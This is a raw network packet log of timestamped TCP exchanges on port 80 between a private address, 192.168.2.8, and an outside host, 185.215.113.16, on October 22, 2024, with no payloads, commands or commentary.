Oct 22, 2024 19:25:11.644885063 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.644918919 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.644918919 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.644953012 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.644969940 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.644984007 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.645001888 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.645011902 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.645015955 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.645028114 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.645030022 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.645039082 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.645049095 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.645068884 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.645073891 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.645085096 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.645096064 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.645106077 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.645107985 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.645123005 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.645124912 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.645137072 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.645149946 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.645153046 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.645159960 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.645170927 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.645172119 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.645181894 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.645193100 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.645205975 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.645225048 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.645265102 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.645289898 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.645298958 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.645308971 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.645319939 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.645332098 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.645343065 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.645344019 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.645360947 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.645385981 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.645421982 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.645435095 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.645445108 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.645457029 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.645468950 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.645471096 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.645479918 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.645490885 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.645503044 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.645510912 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.645514011 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.645549059 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.645560026 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.645569086 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.645571947 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.645582914 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.645593882 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.645611048 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.645668030 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.645668030 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.645741940 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.645765066 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.645776987 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.645793915 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.645826101 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.645826101 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.645889997 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.645900965 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.645912886 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.645922899 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.645939112 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.645967960 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.672713041 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.672728062 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.672733068 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.672738075 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.672743082 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.672748089 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.672751904 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.672755957 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.672760963 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.672951937 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.718530893 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.718548059 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.718605995 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.718630075 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.754164934 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.754188061 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.754200935 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.754254103 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.754268885 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.754275084 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.754281044 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.754286051 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.754287958 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.754327059 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.754338980 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.754365921 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.754374027 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.754383087 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.754400969 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.754434109 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.754463911 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.754478931 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.754518032 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.754533052 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.754544973 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.754554987 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.754558086 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.754576921 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.754590988 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.754595041 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.754609108 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.754616022 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.754623890 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.754633904 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.754645109 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.754658937 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.754658937 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.754692078 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.754692078 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.754712105 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.754740953 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.754745960 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.754762888 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.754774094 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.754781961 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.754784107 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.754805088 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.754807949 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.754817963 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.754828930 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.754841089 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.754851103 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.754853964 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.754867077 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.754873037 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.754877090 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.754899979 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.754925013 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.754945993 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.754956961 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.754967928 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.754981041 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.754991055 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.755007982 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.755019903 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.755029917 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.755029917 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.755064964 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.755145073 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.755156040 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.755168915 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.755178928 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.755188942 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.755206108 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.755214930 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.755215883 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.755239010 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.755239964 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.755256891 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.755260944 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.755271912 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.755275011 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.755281925 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.755290985 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.755304098 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.755309105 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.755322933 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.755335093 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.755336046 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.755348921 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.755358934 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.755361080 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.755376101 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.755403996 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.755412102 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.755423069 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.755441904 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.755448103 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.755451918 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.755475044 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.755491972 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.755568027 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.755588055 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.755600929 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.755623102 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.755640984 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.755714893 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.755728960 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.755738974 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.755753040 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.755765915 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.755774975 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.755775928 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.755789995 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.755795002 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.755803108 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.755803108 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.755810976 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.755816936 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.755819082 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.755821943 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.755826950 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.755844116 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.755852938 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.755863905 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.755865097 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.755892038 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.755913973 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.759406090 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.759473085 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.759484053 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.759493113 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.759502888 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.759516954 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.759526968 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.759531021 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.759531021 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.759541988 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.759557009 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.759560108 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.759571075 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.759579897 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.759603977 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.759622097 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.759640932 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.759651899 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.759661913 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.759681940 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.759702921 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.759762049 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.759774923 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.759787083 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.759814978 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.759829998 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.759844065 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.759865046 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.759876966 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.759884119 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.759887934 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.759898901 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.759902000 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.759912968 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.759934902 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.759939909 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.759958029 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.759970903 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.759980917 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.759983063 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.759994984 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.760004044 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.760004997 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.760025978 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.760051012 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.760077953 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.760097027 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.760121107 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.760142088 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.760205030 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.760216951 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.760226965 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.760237932 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.760252953 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.760266066 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.760286093 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.760289907 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.760299921 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.760308981 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.760319948 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.760327101 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.760330915 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.760346889 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.760355949 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.760379076 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.760449886 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.760462999 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.760472059 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.760494947 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.760498047 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.760505915 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.760518074 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.760520935 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.760529041 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.760545969 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.760569096 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.760570049 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.760585070 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.760595083 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.760603905 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.760607004 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.760627031 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.760631084 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.760637045 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.760647058 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.760654926 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.760658979 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.760670900 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.760682106 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.760684967 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.760696888 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.760706902 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.760725975 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.760749102 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.760826111 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.760837078 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.760857105 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.760867119 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.760869026 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.760884047 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.760894060 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.760894060 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.760906935 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.760919094 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.760921955 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.760931015 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.760937929 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.760941029 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.760953903 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.760963917 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.760965109 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.760979891 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.760986090 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.760997057 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.761022091 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.761022091 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.761038065 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.761054039 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.761061907 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.761065960 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.761076927 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.761086941 CEST	49725	80	192.168.2.8	185.215.113.16
